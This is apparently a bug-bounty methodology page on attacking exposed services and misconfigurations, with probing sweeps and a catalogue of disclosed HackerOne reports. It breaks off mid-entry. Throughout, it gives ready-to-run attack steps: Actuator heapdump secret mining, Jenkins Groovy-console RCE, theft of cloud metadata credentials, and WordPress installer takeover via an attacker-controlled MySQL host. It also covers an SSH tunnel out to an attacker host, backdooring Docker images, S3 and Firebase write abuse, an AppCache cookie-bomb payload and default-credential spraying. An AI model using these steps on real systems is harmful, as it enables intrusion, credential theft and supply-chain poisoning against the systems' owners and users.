# Attribute a bare IP and find its neighbours before probing
echo | openssl s_client -connect TARGET:443 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'
# Origin IPs behind a WAF: censys.io/ipv4?q=TARGET · shodan · crt.sh
Find which class the target falls into, then probe with the matching sweep. In every case the confirming signal is a status code or a body that should not be reachable.
Spring Boot Actuator, Django debug, and PHP debug bars leak config and secrets to an unauthenticated GET. /heapdump is the crown jewel — it dumps the whole JVM heap, so it yields the same credentials, cookies, and JWT signing secrets even when /env is locked down.
# Spring Boot Actuator sweep — a 200 JSON/heap body is the finding
for p in actuator/heapdump actuator/env actuator/configprops actuator/trace actuator/mappings \
env dump trace configprops beans metrics autoconfig routes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://TARGET/$p"
done
# Relocated != secured — brute custom management prefixes:
# /manage/heapdump /admin/actuator/heapdump /<custom>/heapdump
strings heapdump | grep -Ei 'password|secret|token|cookie|jwt' # then mine it
curl -s "https://TARGET/nonexistent%00" | grep -Ei 'Traceback|SECRET_KEY|DATABASES|phpdebugbar'
Jenkins, SonarQube, Docker Registry, RabbitMQ, Grafana, Portainer, Sidekiq/Flower are routinely left open on default ports with no auth. A single reachable Groovy console or writable registry is game over.
# Jenkins — /script Groovy console reachable unauth == instant RCE
curl -s "https://TARGET/script" -o /dev/null -w "%{http_code}\n" # 200 == RCE
# then in the console: "id".execute().text
# Docker Registry v2 — 200 on /v2/ (not 401+WWW-Authenticate) is the whole finding
curl -s "https://TARGET/v2/" # 200 == open
curl -s "https://TARGET/v2/_catalog" # full image list -> pull -> mine for secrets
# SonarQube on the default port leaks source + contributor emails (Issues > Author)
# Shodan: http.title:"SonarQube" port:9000 -> http://TARGET:9000/projects
Recover the bucket name from any user-visible object URL, then test the ACL three ways. AuthenticatedUsers is the trap: it means every AWS account on earth, so an anonymous curl says "private" while your own free AWS creds get full CRUD.
aws s3 ls s3://TARGET-bucket --no-sign-request # AllUsers (public)
aws s3 ls s3://TARGET-bucket # AuthenticatedUsers (any AWS acct)
aws s3 cp ./canary.txt s3://TARGET-bucket # blind write (may succeed without list)
# firebaseConfig in page source -> databaseURL: https://PROJECT.firebaseio.com
curl "https://PROJECT.firebaseio.com/.json" # read test
curl -X PUT -d '{"attacker":"pwn"}' "https://PROJECT.firebaseio.com/poc.json" # write test
A misconfigured handler serves interpreted files as plaintext source; a shared/wildcard cert plus a permissive default vhost lets a DNS attacker impersonate another host without a cert warning.
# Interpreter not wired up -> raw source disclosed (SAML/DB config in the clear)
curl "https://TARGET/app/plugins/PLUGIN/config/config.php" # PHP returned verbatim == misconfig
# TLS default-vhost confusion: DNS points VICTIM -> a server B sharing the cert
curl -sk https://SERVER_B/secret -H "Host: victim.com" # B answers foreign Host from its default vhost
Perimeter protection is void the moment the real origin IPs leak. Connect straight to the origin and spoof the Host header to reach internal-only vhosts (Grafana, PgHero, Kibana) that assume the network is trusted.
# origin IP from Censys/crt.sh, then route to a hidden internal vhost
curl -sk https://ORIGIN_IP/ -H "Host: pghero.internal.TARGET"
# Burp Match&Replace: Host: ORIGIN_IP -> Host: pghero.internal.TARGET
// vulnerable listener: t.hostname.slice(-e.hostname.length) === e.hostname
// 'badexample.com'.slice(-'example.com'.length) === 'example.com' => true
// register badexample.com, then from it:
targetWindow.postMessage({type:'App.Modal.open', url:'https://COLLAB/login'}, '*');
An installer or setup wizard left reachable is full admin without any target credentials, because the wizard trusts attacker-supplied config. A CMS installer that lets you point it at your own database is a bring-your-own-DB path to admin → RCE.
# WordPress half-install still serving the DB wizard
# http://TARGET/old/wp-admin/setup-config.php -> enter attacker MySQL host/user/pass,
# finish install, log in at /old/wp-login.php as admin -> theme/plugin editor RCE
curl -s "https://TARGET/old/wp-admin/setup-config.php" | grep -i 'setup-config\|database'
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 119 in this class.
Real-world example
Open S3 bucket exposes app source & config
◆ Critical
Specimen #404822 · security · 1500 · 321 votes · resolved
Program securitySurface cloudTag cloud-aws
Root cause
A publicly listable/readable S3 bucket hosted iOS test-build source code, configuration, and test data.
Method
- Guess/enumerate bucket names from app, org, and CI naming conventions
- Test anonymous LIST/GET
- Download source/config; grep for secrets
aws s3 ls s3://<guessed-bucket> --no-sign-request
Insight — Test-build and CI artifact buckets are frequently world-readable; derive names from app identifiers and enumerate.
Real-world example
Spring Boot Actuator /heapdump & /env exposed (incl. custom paths)
◆ Critical
Specimen #838635 · line · 12500 · 233 votes · resolved
Program lineSurface webChain heapdump -> leaked admin creds/session tokens -> accouTag account-takeover
Root cause
Spring Boot Actuator management endpoints (/heapdump, /env, /trace, /mappings) left publicly reachable without access control; /heapdump dumps the JVM heap containing admin credentials, user tokens and cookies.
Method
- Enumerate Actuator endpoints on the target and any custom management path (endpoints can be relocated to a non-default path to evade internal scanners).
- Fetch /env and /configprops for secrets and config; fetch /heapdump to download the full JVM heap.
- Parse the heapdump (Eclipse MAT / strings) for admin credentials, session tokens and cookies.
- Replay leaked tokens/cookies to take over accounts (old tokens were not invalidated -> replay).
GET /actuator/heapdump HTTP/1.1
GET /actuator/env HTTP/1.1
# also try relocated paths, e.g.:
GET /manage/heapdump /admin/actuator/heapdump /<custom>/heapdump
Insight — Actuator being on a non-standard/custom path does NOT make it safe; brute-force management paths. /heapdump is a credential goldmine even when /env is locked down. Always test whether leaked tokens are still valid (missing invalidation = replay).
Real-world example
Spring Boot actuator /heapdump credential & JWT-secret dump
◆ Critical
Specimen #783360 · stripo · none · 158 votes · resolved
Program stripoSurface webTag cloud-awsTag jwt
Root cause
Spring Boot Actuator endpoints exposed unauthenticated to the internet; /actuator/heapdump downloads a full JVM heap containing secrets, DB creds, session/JWT tokens and the JWT signing key.
Method
- Probe for /actuator (and prefixes like /cabinet/stripeapi/actuator) on every microservice/subdomain
- GET /actuator/heapdump to download the JVM heap
- Open dump in Eclipse MAT / VisualVM and grep strings for 'password','secret','jwt','Authorization','aws'
- Recover the JWT signing key and forge admin tokens for full ATO
GET /actuator/heapdump HTTP/1.1
Host: TARGET
# also try: /actuator, /actuator/env, /actuator/mappings, /cabinet/stripeapi/actuator/heapdump
Insight — Whenever a target runs Spring Boot, always enumerate /actuator/* across every service; heapdump/env/mappings turn a config leak into forged-JWT account takeover.
Real-world example
Exposed WordPress setup-config.php -> point install at attacker MySQL -> RCE
◆ Critical
Specimen #1626205 · deptofdefense · 1000 · 102 votes · resolved
Program deptofdefenseSurface webChain exposed installer -> attacker DB -> WP admin -> plu
Root cause
A half-installed WordPress leaves /wp-admin/setup-config.php reachable. The installer lets the visitor supply ARBITRARY database credentials, so an attacker points it at their own remote MySQL, completes install, and becomes admin of a WordPress running on the victim host (-> plugin/theme editor RCE).
Method
- Discover an un-finished WP install (e.g. /old/wp-admin/setup-config.php, /blog/, /wp/) returning the DB setup wizard.
- Stand up an attacker-controlled MySQL reachable from the target (e.g. free MySQL hosting).
- Enter attacker DB host/user/pass in the wizard and finish installation, setting your own admin creds.
- Log in at /wp-login.php as admin; use Appearance/Plugin editor or a malicious plugin to get code execution on the victim server.
# target
http://TARGET/old/wp-admin/setup-config.php
# DB config supplied to wizard:
DB Host: attacker-mysql.example.net
DB User/Pass: attacker-controlled
# then admin login:
http://TARGET/old/wp-login.php
Insight — Any CMS installer left exposed = full admin without touching the real DB, because the installer trusts attacker-supplied DB creds. Always probe for setup/install wizards (setup-config.php, /install.php, /installer/). Admin of on-host WordPress -> RCE via theme/plugin editor.
Real-world example
Unauthenticated Docker Registry v2 -> image dump & poison (via sandbox pivot)
◆ Critical
Specimen #347296 · semmle · awarded · 82 votes · resolved
Program semmleSurface cloudChain Malicious CI config -> reverse shell -> SSH tunnel -&gTag cloud-awsTag supply-chain
Root cause
A Docker Registry HTTP API v2 runs on :5000 over HTTP with no authentication, allowing anyone with network access to enumerate/pull images and initiate blob uploads (poison images). Here it was reachable by pivoting out of the CI build sandbox via a reverse shell + SSH tunnel.
Method
- Gain code exec in the build sandbox (malicious .lgtm.yml -> reverse shell)
- Open a remote SSH tunnel from the sandbox to the internal registry: ssh -R 5555:172.17.0.1:5000 attacker@host
- Point docker_fetch at http://127.0.0.1:5555 to enumerate and pull repositories
- Test writes: initiate a blob upload (/v2/<name>/blobs/uploads/) - a returned UUID confirms unauthenticated push (poisoning)
# enumerate/pull\nGET http://REGISTRY:5000/v2/_catalog\nGET http://REGISTRY:5000/v2/lgtm/top/tags/list\n# poison test\nPOST http://REGISTRY:5000/v2/<name>/blobs/uploads/ # 202 + uuid == writable
Insight — On any internal foothold, scan :5000 (and 2375/2376) for open Docker Registry/daemon. /v2/_catalog with no auth = full image read; a successful blob-upload initiation = image poisoning -> supply-chain RCE. CI build containers are a prime pivot into such internal services.
Real-world example
Default admin/admin on internet-exposed appliance
◆ Critical
Specimen #2160178 · trellix · none · 74 votes · resolved
Program trellixSurface webTag account-takeover
Root cause
An exposed management interface ships with unchanged default credentials, granting administrator access.
Method
- Reach the exposed appliance login (bare IP)
- Try admin/admin (and other vendor defaults)
- Log in as default-org administrator
username=admin
password=admin
Insight — For any exposed appliance/management portal, always try vendor default credentials before anything else; a critical can be one guess away.
Real-world example
Unauthenticated Jenkins /script Groovy console RCE + IMDS pivot
◆ Critical
Specimen #403402 · ui · awarded · 74 votes · resolved
Program uiSurface webChain Exposed Jenkins -> /script Groovy console -> OS RCE -&Tag cloud-aws
Root cause
A Jenkins instance was exposed to the internet with the Groovy /script console reachable without authentication, allowing arbitrary Groovy/OS command execution and pivot to the cloud metadata service.
Method
- Discover the exposed Jenkins host (identify via TLS cert SANs)
- Browse to /script (or /script/)
- Run Groovy to exec OS commands: "ls /".execute().text
- Pivot to AWS IMDS to steal instance-role credentials
"ls /".execute().text
"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/".execute().text
Insight — Always probe exposed Jenkins for /script, /manage, /systemInfo; the Groovy console = instant RCE. On cloud hosts immediately pivot to 169.254.169.254 IMDS for role creds. Fingerprint ownership via SSL cert SANs when the host is a bare IP.
Real-world example
Public Spring Boot actuator endpoints via API gateway
◆ Critical
Specimen #1022048 · semrush · awarded · 59 votes · resolved
Program semrushSurface api
Root cause
In a microservice/API-gateway architecture, individual services expose Spring Boot Actuator endpoints; the gateway routes to them without stripping /actuator, leaving management endpoints publicly reachable and leaking internal tokens/service data.
Method
- Enumerate service path prefixes routed by the gateway (e.g. /service-xyz/)
- Append /actuator/ and known actuator routes (env, health, mappings, heapdump, configprops)
- Read exposed internal tokens/config from the responses
GET https://TARGET/service-xyz/actuator/
GET https://TARGET/service-xyz/actuator/env
GET https://TARGET/service-xyz/actuator/heapdump
GET https://TARGET/service-xyz/actuator/mappings
Insight — Behind an API gateway, test each discovered service prefix for /actuator; a gateway that fixes one service does not fix the others. env/heapdump/configprops leak secrets.
Real-world example
World-writable Firebase Realtime DB via /.json
◆ Critical
Specimen #684099 · x · awarded · 49 votes · resolved
Program xSurface cloudTag cloud-gcp
Root cause
A Firebase Realtime Database had default/open security rules allowing unauthenticated read and write from any client.
Method
- Find the Firebase DB URL (from mobile app/JS bundle/network traffic)
- Append /.json to the database URL and GET to test read
- PUT/POST JSON to test write; a successful insert confirms open write rules
# read test
curl 'https://<project>.firebaseio.com/.json'
# write test
curl -X PUT -d '{"poc":"test"}' 'https://<project>.firebaseio.com/poc.json'
Insight — For any app using Firebase, extract the DB hostname and probe <db>/.json for read and a scratch path for write. Open rules are extremely common and mean full data read/tamper.
Real-world example
ACME TLS-SNI-01 domain validation abused on shared hosting to mint certs for others' domains
◆ Critical
Specimen #304378 · ibb · none · 35 votes · resolved
Program ibbSurface webChain shared-hosting tenant -> answer ACME TLS-SNI challenge -&
Root cause
The ACME TLS-SNI-01/02 challenge proves control by serving a special self-signed cert for a magic SNI name; on shared hosting a tenant can upload arbitrary certs for arbitrary SNI names, so an attacker answers the challenge for domains they don't own but that resolve to the same shared IP.
Method
- Be a tenant on a shared-hosting IP that also serves the victim domain
- Start an ACME order for the victim domain to get the TLS-SNI challenge token
- Upload a cert/vhost matching the challenge SNI (<token>.acme.invalid) on the shared IP
- ACME connects to the shared IP, gets your cert, validates -> issue a valid cert for the victim domain
# TLS-SNI-01: serve self-signed cert with SAN = <SHA256token>.<token>.acme.invalid
# on a shared-hosting account that answers TLS for the target IP
Insight — Domain-validation methods that rely on serving content on a shared IP (TLS-SNI, and by analogy HTTP-01 on shared vhosts) can be subverted where tenants control TLS/vhost config for arbitrary names. When testing ACME/DV integrations, ask: can a co-tenant answer the challenge? (Led Let's Encrypt to sunset TLS-SNI.)
Real-world example
Public Tomcat /examples/ servlet directory
◆ Critical
Specimen #674741 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface web
Root cause
Default Apache Tomcat /examples/ directory left reachable exposes demo servlets (SessionExample, CookieExample, RequestHeaderExample) that manipulate shared session state and leak internal data.
Method
- Request /examples/servlets/ to confirm the demo app is deployed
- Hit SessionExample to read/manipulate session attributes (global session risk)
- Hit RequestHeaderExample for internal IP/header disclosure
- Note source-code disclosure and an 'Execute' option
GET /examples/servlets/servlet/SessionExample
GET /examples/servlets/servlet/RequestHeaderExample
GET /examples/servlets/servlet/CookieExample
Insight — Fingerprint Tomcat then always probe /examples/, /manager/, /host-manager/, /docs/ - shipped demo apps are a reliable low-effort finding and SessionExample can escalate via shared session state.
Real-world example
Unauthenticated SonarQube exposes source code and contributor identities
◆ Critical
Specimen #947946 · other · none · 21 votes · resolved
Program otherSurface webChain exposed SonarQube -> source code + internal API keys/IPs Tag cloud-aws
Root cause
A SonarQube instance is deployed with anonymous access enabled, exposing project source, issues and contributor emails to anyone on the internet.
Method
- Find SonarQube on the default port (Shodan/masscan for :9000, title 'SonarQube')
- Browse Projects to read leaked source
- Use Issues tab -> filter by Author to enumerate contributor emails and attribute the owning organization
http://TARGET:9000/ # dashboard, no login
http://TARGET:9000/projects # source of every project
# Shodan: http.title:"SonarQube" port:9000
Insight — Dev/CI tooling (SonarQube, Jenkins, GitLab, SonarCloud, Grafana) is routinely left open on default ports. SonarQube's Issues>Author list is a fast attribution primitive: employee emails reveal the true owner even when the host IP is anonymous.
Real-world example
HTTP PUT enabled -> arbitrary file write, readable via GET
◆ Critical
Specimen #487656 · ratelimited · none · 19 votes · resolved
Program ratelimitedSurface web
Root cause
The web server/storage backend accepts HTTP PUT to arbitrary paths, letting an attacker upload files that are then served back on GET (content injection / potential script upload).
Method
- Send OPTIONS to enumerate allowed methods
- PUT a test file to a chosen path
- GET the same path to confirm the written content is served
PUT /codeslayer137.txt HTTP/1.1
Host: TARGET
Content-Length: 21
Testing CodeSlayer137
# then: GET /codeslayer137.txt -> returns the uploaded body
Insight — Enumerate HTTP methods on every host; PUT/DELETE/WebDAV often survive on origin/storage tiers. A writable path served on GET is at minimum stored content/XSS and at worst web-shell upload.
Real-world example
Exposed Firebase config + world-writable Realtime Database rules
◆ Critical
Specimen #1447751 · mtn_group · none · 15 votes · resolved
Program mtn_groupSurface cloudChain config disclosure in JS -> open Realtime DB rules -> aTag cloud-gcp
Root cause
Client JS exposes the full Firebase config (apiKey, databaseURL); combined with default/insecure Realtime Database rules, anyone can read and write the database via the REST /.json interface.
Method
- View page source / JS for firebaseConfig (apiKey, databaseURL, projectId).
- Test read: GET https://<project>.firebaseio.com/.json (or any node /poc.json).
- Test write: curl -X PUT with a JSON body; success proves open rules.
# from firebase-config.js: databaseURL: https://mtn-pulse-uganda.firebaseio.com
curl 'https://mtn-pulse-uganda.firebaseio.com/.json' # read
curl -X PUT -d '{"attacker":"maliciousdata"}' 'https://mtn-pulse-uganda.firebaseio.com/poc.json' # write
Insight — Firebase apiKey in JS is not itself the bug - always append /.json to the databaseURL to test the DB security rules. Open rules = full read/write. Same pattern applies to exposed Firestore, storage buckets, and appspot storage URLs.
Real-world example
Unconfigured Portainer setup takeover -> Docker container RCE
◆ Critical
Specimen #1332433 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface webChain exposed Portainer -> admin claim -> container exec -&g
Root cause
A freshly deployed Portainer instance with no admin set lets the first visitor create the admin account (setup race), granting full control of the Docker daemon and exec-into-container shells.
Method
- Find exposed Portainer (default port 9000)
- If setup is uninitialized, create the admin account
- Use the container console to run arbitrary bash in each container
# browse http://TARGET:9000 -> create admin:password -> Containers -> Console -> exec /bin/bash
Insight — Probe :9000 (Portainer), :2375 (Docker API), :8080 (K8s dashboards) on hosts. Unclaimed admin-setup pages are instant takeover; Portainer/ELK/Grafana first-run flows should always be tested.
Real-world example
Open Jenkins: any-Google-account login -> Script Console RCE
◆ High
Specimen #231460 · snapchat · 15000 · 436 votes · resolved
Program snapchatSurface webChain permissive SSO -> Jenkins access -> Script Console RCE
Root cause
A production Jenkins accepted login from any valid Google account (over-broad OAuth), granting access to API tokens, source, and the Groovy Script Console (RCE).
Method
- Find exposed CI (jenkins.*, /login)
- Test permissive SSO: any Google/Okta account may authenticate
- Once in, pull credentials, read job configs, use /script (Script Console) for RCE
// Jenkins Script Console
println "id".execute().text
Insight — Exposed CI with 'anyone with a Google account' auth is effectively public; the Script Console turns read access into RCE. Always test SSO breadth on internal tooling.
Real-world example
Exposed remote-management (KVM-over-IP) device with no auth
◆ Critical
Specimen #2633988 · deptofdefense · none · 41 votes · resolved
Program deptofdefenseSurface networkTag account-takeover
Root cause
A TinyPilot KVM-over-IP device attached to a workstation is published to the internet with no authentication, giving anyone full screen view and keyboard/mouse control.
Method
- Recon for exposed management-interface fingerprints (TinyPilot/IPMI/iDRAC/VNC/KVM banners) on target IP ranges.
- Open the web interface; if it loads a live session with no login, you have full control.
Insight — Beyond web apps, hunt exposed out-of-band management (KVM-over-IP, IPMI, VNC, iLO/iDRAC, TinyPilot) via Shodan/Censys and port scans. These often ship auth-off and grant hardware-level control of a real workstation.
Real-world example
Exposed Grafana with anonymous/guest access
◆ High
Specimen #663628 · snapchat · 10000 · 463 votes · resolved
Program snapchatSurface web
Root cause
A production Grafana instance permitted guest/anonymous viewing, exposing hundreds of internal dashboards (and a datasource module vulnerable to SQLi).
Method
- Fuzz subdomains/hostname patterns for monitoring tools (grafana, kibana, metrics.*)
- Load / and /login; test anonymous access and default org
- Enumerate dashboards; probe custom datasource/query panels for SQLi
Insight — Monitoring stacks (Grafana/Kibana/Prometheus) are commonly left with anonymous viewing enabled; dashboards leak infra internals and custom query panels can be injectable.
Real-world example
Exposed Sentry store endpoint renders internal debug info
◆ High
Specimen #697512 · other · 750 · 177 votes · resolved
Program otherSurface web
Root cause
A publicly reachable Sentry error-tracking store API (/api/N/store) could be driven to render internal debug/server information.
Method
- Fingerprint error-tracking tooling (Sentry endpoints /api/<id>/store)
- Probe the store/render endpoints for a rendered debug UI
- Read leaked server/stack/debug details
POST /api/20/store... HTTP/1.1 (then use the Render view)
Insight — Self-hosted Sentry/error-tracking instances left exposed leak stack traces, server internals and config. Enumerate them as part of debug-surface recon.
Real-world example
Nginx misconfig serves PHP config file as plaintext source
◆ High
Specimen #268382 · gsa_bbp · awarded · 145 votes · resolved
Program gsa_bbpSurface web
Root cause
A path/location not routed through the PHP handler (plugin/config dir) causes nginx to return .php files as static text, disclosing source code and any embedded secrets.
Method
- Enumerate .php files under plugin/config/vendor paths
- Request them directly and check if the body is raw PHP source rather than executed output
- Harvest DB creds / API keys / SAML secrets from the source
GET https://TARGET/app/plugins/<plugin>/config/config.php
Insight — Config/backup/plugin directories are often excluded from the PHP handler - request .php, .inc, .bak, .php~ directly and diff executed vs. raw-source responses to pull source and secrets.
Real-world example
Apache /server-status reachable by connecting to the raw IP
◆ High
Specimen #2473173 · pixiv · awarded · 144 votes · resolved
Program pixivSurface web
Root cause
mod_status /server-status is restricted by Host/vhost rules but not by IP; hitting the backend's direct IP serves the admin status page exposing internal request logs, client IPs, and URLs.
Method
- Resolve the origin/backend IP (DNS history, cert SANs, Shodan)
- Request https://<IP>/server-status directly (bypassing CDN/vhost)
- Read live worker table: internal URLs, client IPs, request logs
GET /server-status HTTP/1.1
Host: <origin-ip>
Insight — Access controls keyed to the vhost/Host header often fail when you reach the origin by raw IP. Always retest admin endpoints (/server-status, /server-info, actuator, metrics) directly against discovered backend IPs.
Real-world example
Static WebView header field persists cookies across loads + javascript: scheme WebView bypass
◆ High
Specimen #3475626 · linkedin · awarded · 125 votes · resolved
Program linkedinSurface mobile-androidChain deep-link scheme bypass -> JS interface -> open vulnerTag account-takeover
Root cause
An Android WebView fragment stores per-request Cookie headers in a STATIC ArrayMap (CUSTOM_HEADERS) that is never cleared between loadUrl calls, so first-party cookies added for linkedin.com are re-sent to a later attacker-controlled URL loaded in the same fragment.
Method
- Reach the verification WebView via deep link (host allowlisted but scheme not validated).
- Inject JS with the javascript: scheme, closing the appended renderContext param inside a string via a fragment (#) so the resulting URL is valid JS.
- Use the exposed JS interface to open the vulnerable WebViewerFragment on linkedin.com (loads first-party cookies into static CUSTOM_HEADERS).
- Have the fragment then load an attacker URL; the still-present LinkedIn Cookie header is sent to the attacker origin -> session cookie exfiltration.
# deep link, scheme not validated -> execute JS:
javascript://www.linkedin.com/%0aalert('1#')
# after app appends ?renderContext=... it becomes valid JS:
javascript://www.linkedin.com/%0aalert('1?renderContext=trustVerificationDeeplink#')
Insight — Static/singleton fields holding request headers or cookies are a state-bleed bug: inspect decompiled Android WebView code for `static` header maps not reset per navigation. For WebView URL allowlists, test the javascript: scheme when only the host is validated; use a fragment (#) to neutralize appended query params.
Real-world example
Exposed Celery Flower dashboard -> task/worker control and RCE surface
◆ High
Specimen #2264960 · exness · awarded · 96 votes · resolved
Program exnessSurface apiChain Exposed Flower -> async-apply task dispatch -> code ex
Root cause
A Celery Flower monitoring instance was reachable on a public route with the unauthenticated API enabled, exposing task/worker data and control endpoints (including async task apply, a code-execution surface).
Method
- Discover a /flower/ path (often behind a mobile/PIM reverse-proxy route)
- Hit the JSON API unauthenticated to enumerate workers/tasks
- Note control endpoints: revoke/terminate tasks, shutdown workers, and /api/task/async-apply/* (arbitrary task dispatch)
GET /pim/flower/api/workers
GET /pim/flower/api/tasks
GET /pim/flower/api/task/info/<task-id>
# control surface (do not run on prod without authorization):
# POST /pim/flower/api/task/async-apply/<task-name>
# mitigation: flower_unauthenticated_api=false
Insight — Fingerprint exposed ops dashboards on odd sub-paths (/flower, /celery, plus Kibana/Grafana/Actuator). Flower with flower_unauthenticated_api on lets you enumerate and manipulate the job queue and, via async-apply, potentially execute registered tasks -> DoS or RCE.
Real-world example
Default credentials on staging admin panel
◆ High
Specimen #686015 · railto · none · 66 votes · resolved
Program railtoSurface webTag subdomain-takeover
Root cause
A staging subdomain exposed /admin with default credentials (admin/password) granting full administrative access.
Method
- Enumerate subdomains (staging.*, dev.*, uat.*)
- Browse to /admin or other login panels
- Try default/weak creds admin/password, admin/admin, etc.
https://staging.TARGET.com/admin -> admin : password
Insight — Staging/dev subdomains routinely ship with seeded default admin accounts. Enumerate non-prod hosts and try default creds against every admin/login panel.
Real-world example
Attachment hijack via AppCache poisoning of a shared storage bucket
◆ High
Specimen #403602 · basecamp · awarded · 57 votes · resolved
Program basecampSurface webTag cloud-gcpTag file-upload
Root cause
User attachments are stored in one shared bucket and can be served as text/html via signed URLs; uploading an HTML file with an AppCache manifest (plus cookie-bombing to force cache use) hijacks all subsequent downloads from that bucket for the victim.
Method
- Upload an HTML file to the app (lands in the shared blobs bucket) served with response-content-type=text/html
- Include an AppCache manifest with a FALLBACK covering /bucket-path/ pointing at attacker content
- Cookie-bomb the victim so the browser serves stale/cached responses
- Victim's later downloads from that bucket are hijacked and served attacker HTML
<html manifest="[manifest_url]">...
<script>for(var i=1e3;i>0;i--){document.cookie=i+'='+Array(4e3).join('0')+'; path=/'}</script></html>
# manifest:
CACHE MANIFEST
FALLBACK:
/bc3_production_blobs/ [fallback_url]
Insight — Shared user-upload buckets that can return text/html under signed URLs are dangerous: an HTML+AppCache manifest lets one tenant's upload poison the cache for the whole bucket path, hijacking other users' attachment downloads.
Real-world example
HTTP PUT enabled -> arbitrary file write and readback
◆ High
Specimen #545136 · ratelimited · none · 40 votes · resolved
Program ratelimitedSurface webTag file-upload
Root cause
The web/storage server (MinIO-backed) accepted the HTTP PUT verb from unauthenticated clients, allowing arbitrary file creation, then serving the file back over GET.
Method
- Send an OPTIONS/PUT probe to test allowed methods
- PUT a test file with a body
- GET the same path to confirm the write persisted and is served
PUT /codeslayer137.txt HTTP/1.1
Host: target
Content-Length: 21
Testing By CodeSlayer
# then: GET https://target/codeslayer137.txt
Insight — Always enumerate HTTP methods (OPTIONS, then try PUT/DELETE/MOVE) on file/CDN/object-storage hosts. An accepting PUT is arbitrary file write; if the path is web-served it can escalate to defacement, phishing content hosting, or (on script-executing roots) RCE.
Real-world example
Unauthenticated Docker Registry v2
◆ High
Specimen #924487 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface cloudChain Registry write -> poisoned image -> deployed containerTag cloud-aws
Root cause
Docker Registry HTTP API v2 exposed without authentication; /v2/ returns 200 instead of 401, allowing catalog listing, image pull, and image push/overwrite.
Method
- Hit https://TARGET/v2/ - a secured registry returns 401+WWW-Authenticate; 200 means open
- Enumerate images: GET https://TARGET/v2/_catalog
- Pull any image: docker pull TARGET/<image> and inspect for secrets
- Prove write access by tagging+pushing a benign image
- Optionally pull, patch (plant backdoor), and re-push existing images
curl -s https://TARGET/v2/_catalog
docker pull TARGET/<image>
docker run --rm -it TARGET/<image> sh # look for creds
# write test:
docker pull hello-world
docker tag hello-world:latest TARGET/chron0x/hello-world
docker push TARGET/chron0x/hello-world
Insight — Always probe /v2/ and /v2/_catalog on registry-looking hosts. Read access leaks source and baked-in secrets; write access = server-side RCE via poisoned images. A 200 on /v2/ without a token is the whole finding.
Real-world example
World-writable S3 bucket (AuthenticatedUsers ACL)
◆ High
Specimen #207053 · ruby · 500 · 14 votes · resolved
Program rubySurface cloudChain Bucket write -> replace served JS/HTML -> stored XSS /Tag cloud-awsTag file-upload
Root cause
S3 bucket ACL grants the AuthenticatedUsers group write permission, so any AWS account (any valid credentials) can upload, overwrite, move, and delete objects - including web content served to users.
Method
- Identify a bucket serving site content (rubyci.s3.amazonaws.com)
- With any AWS creds, test write: aws s3 cp/mv a test file into it
- Confirm overwrite/delete of existing objects
- Note content-serving buckets -> stored XSS/malware to end users
aws s3 ls s3://rubyci
aws s3 cp test.html s3://rubyci/test.html # write
aws s3 mv test.txt s3://rubyci # move
aws s3 rm s3://rubyci/test.txt # delete
Insight — Test S3 buckets for AllUsers vs AuthenticatedUsers grants separately - a bucket that blocks anonymous writes may still allow ANY authenticated AWS user to write. Writable content buckets = stored XSS/supply-chain into every page that loads them.
Real-world example
Anonymous/open FTP with read+write access
◆ High
Specimen #192321 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface network
Root cause
An FTP service was reachable and accepted anonymous (or weak) login, exposing browsable files and allowing uploads; recent file timestamps confirmed it was live/in-use.
Method
- Port-scan target ranges for 21/tcp (and FTP banners)
- Attempt anonymous login (anonymous / any password)
- Enumerate files; test write by uploading a benign marker
nmap -p21 --script ftp-anon TARGET
ftp TARGET # user: anonymous pass: anonymous@
Insight — Don't overlook non-HTTP services in scope - scan for open FTP/SMB and try anonymous auth; a writable anonymous FTP is both an info-disclosure and a foothold (upload) primitive.
Real-world example
Anonymous LDAP (NULL bind) directory exposure
◆ High
Specimen #1937235 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface network
Root cause
LDAP server permits unauthenticated (NULL) bind, allowing anonymous enumeration of directory contents.
Method
- Find exposed LDAP (389/636)
- Run nmap ldap scripts to confirm anonymous bind and dump base DN
nmap -n -sV --script "ldap* and not brute" -p 389 TARGET
ldapsearch -x -H ldap://TARGET -b "" -s base namingContexts
Insight — On exposed directory services always test NULL/anonymous bind; it commonly leaks org structure, usernames and emails useful for downstream password spraying.
Real-world example
Wildcard Flash cross-domain policy (crossdomain.xml)
◆ High
Specimen #838817 · mtn_group · none · 7 votes · resolved
Program mtn_groupSurface webTag cors
Root cause
A permissive /crossdomain.xml (allow-access-from domain="*", permitted-cross-domain-policies="all", allow-http-request-headers-from domain="*") lets any Flash/SWF (or legacy client honoring the policy) read authenticated cross-origin responses, exposing CSRF tokens and PII.
Method
- Fetch /crossdomain.xml and /clientaccesspolicy.xml at the site root
- Flag wildcard domain="*" plus header wildcard as insecure
- Demonstrate cross-domain read of an authenticated page (token/PII) from an attacker origin
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" secure="false" to-ports="*"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
Insight — Always grab /crossdomain.xml and /clientaccesspolicy.xml. A wildcard domain="*" (especially with secure="false" and header wildcards) is a cross-origin read of authenticated content, effectively a CORS-style data leak for policy-honoring clients.
Real-world example
Publicly reachable staging app accepting insecure/test credentials
◆ High
Specimen #1051885 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain stale staging host -> test creds -> admin panel ->
Root cause
An old/staging deployment exposed to the internet still accepts default/test credentials and grants full admin (file upload, user/RBAC/OAuth management), turning weak creds into application takeover.
Method
- Enumerate staging/old hosts (subdomain brute, cert transparency, IP ranges) and their login/admin panels
- Try default/test/insecure credential pairs on the login and any secondary admin panel
- After access, confirm impact via admin features (uploads, user mgmt) without destructive actions
# recon for stale environments then test weak creds
# e.g. login: <test-user>/<test-pass>; then secondary admin panel with its own default creds
Insight — Staging/legacy environments are the soft underbelly: they often keep default/test creds and skip auth hardening (no CAC/SSO). Enumerate non-prod hosts and admin sub-panels, then spray default/test credentials; a single reused pair can equal full takeover.
Real-world example
Overbroad S3 POST upload policy enables arbitrary overwrite
◆ High
